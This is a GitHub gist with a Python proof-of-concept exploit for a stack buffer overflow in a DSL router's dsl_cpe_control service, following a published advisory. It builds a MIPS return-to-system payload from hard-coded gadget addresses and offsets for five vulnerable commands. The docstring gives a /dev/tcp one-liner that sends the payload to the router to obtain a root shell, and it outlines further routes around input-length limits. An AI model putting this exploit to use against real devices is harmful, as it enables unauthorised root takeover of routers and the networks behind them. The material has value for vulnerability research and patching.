Created
October 5, 2020 21:29
-
-
Save vp777/bd267bb13bb7a7450f71d3f97726af9a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
A poc for a device having the ScriptExecute buffer overflow originally reported by: | |
https://www.redteam-pentesting.de/en/advisories/rt-sa-2015-001/-avm-fritz-box-remote-code-execution-via-buffer-overflow | |
As suggested in the above advisory, parts of the source code of the vulnerable application can be found at: | |
https://github.com/mirror/dd-wrt/tree/master/src/router/dsl_cpe_control | |
Nevertheless, in the above repository there is an imposed maximum length on the user input, which mitigates the | |
vulnerability in the unsafe sscanf call. | |
This poc targets the variation without the user input length limitations. | |
But even with the input length limitations, it should be possible to use the DebugTraceInterfaceSTART function, for which the payload is | |
smaller than the imposed user input length limit and so still exploitable. | |
and in case DebugTraceInterfaceSTART is not available, an issue in the user input parsing function should allow us to work around | |
the limitation on the length of the user input. | |
in case everything else fail, it should also be possible to execute arbitrary commands through NotificationScriptExecuteConfigSet, | |
as it doesn't perform any checks on the input file that is passed for execution. | |
We get a root shell on the router by running: | |
exec 3<>/dev/tcp/192.168.10.254/2001;cat <(python dsl_cpe_poc.py) ->&3 | cat <&3 | |
''' | |
import codecs | |
import struct | |
import sys | |
class Target: | |
system_addr = 0x0042F3B0 | |
binsh_addr = 0x00449D80 | |
stage1_addr = 0x0043A014 #load $s0 and $ra from stack | |
stage2_addr = 0x0040D858 #move $s0 to $a0, load $ra from stack | |
def __init__(self, command, fpoff, cmd_args = b"{}", placeholder = b"{}", blacklisted_chars = b'\x09\x0a\x0b\x0c\x0d '): | |
self.command = Target.byter(command) | |
self.cmd_args = Target.byter(cmd_args) | |
self.placeholder = Target.byter(placeholder) | |
self.blacklisted_chars = Target.byter(blacklisted_chars, 'ascii') | |
self.fpoff = fpoff | |
def payload(self): | |
payload = self.command | |
payload += b" " + self.cmd_args | |
aldready_written = self.cmd_args.find(self.placeholder) | |
buf = b"A" * (self.fpoff-4-aldready_written) + struct.pack(">I", Target.stage1_addr) | |
buf += (0x20-8) * b"A" + struct.pack(">I", Target.binsh_addr) | |
buf += struct.pack(">I", Target.stage2_addr) | |
buf += (0x48-4) * b"A" + struct.pack(">I", Target.system_addr) | |
if any(bchar in buf for bchar in self.blacklisted_chars): | |
raise Exception('Found blacklisted character character in: ' + codecs.encode(buf, 'hex_codec')) | |
return payload.replace(self.placeholder, buf) | |
def pp(self): | |
Target.bprint(self.payload()) | |
def ppx(self): | |
Target.bprint(codecs.encode(self.payload(), 'hex_codec')) | |
@staticmethod | |
def byter(s, encoding = 'utf-8'): | |
if not isinstance(s, bytes): | |
return s.encode(encoding) | |
return s | |
@staticmethod | |
def bprint(s, encoding = 'utf-8'): | |
s = Target.byter(s, encoding) | |
if sys.version_info >= (3, 0): | |
sys.stdout.buffer.write(s) | |
else: | |
sys.stdout.write(s) | |
se = ScriptExecute = Target("se", 0x110) | |
alf = AutobootLoadFirmware = Target("alf", 0x11C) | |
nsecs = NotificationScriptExecuteConfigSet = Target("nsecs", 0x110) | |
asecs = AutobootScriptExecuteConfigSet = Target("asecs", 0x118, "{} test") | |
dtistart = DebugTraceInterfaceSTART = Target("dtistart", 0x34, "1 2 {} 4 5 6 7") | |
targets = [se, alf, nsecs, asecs, dtistart] | |
n = 0 | |
if len(sys.argv)>1: | |
n = int(sys.argv[1], 10) % len(targets) | |
targets[n].pp() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment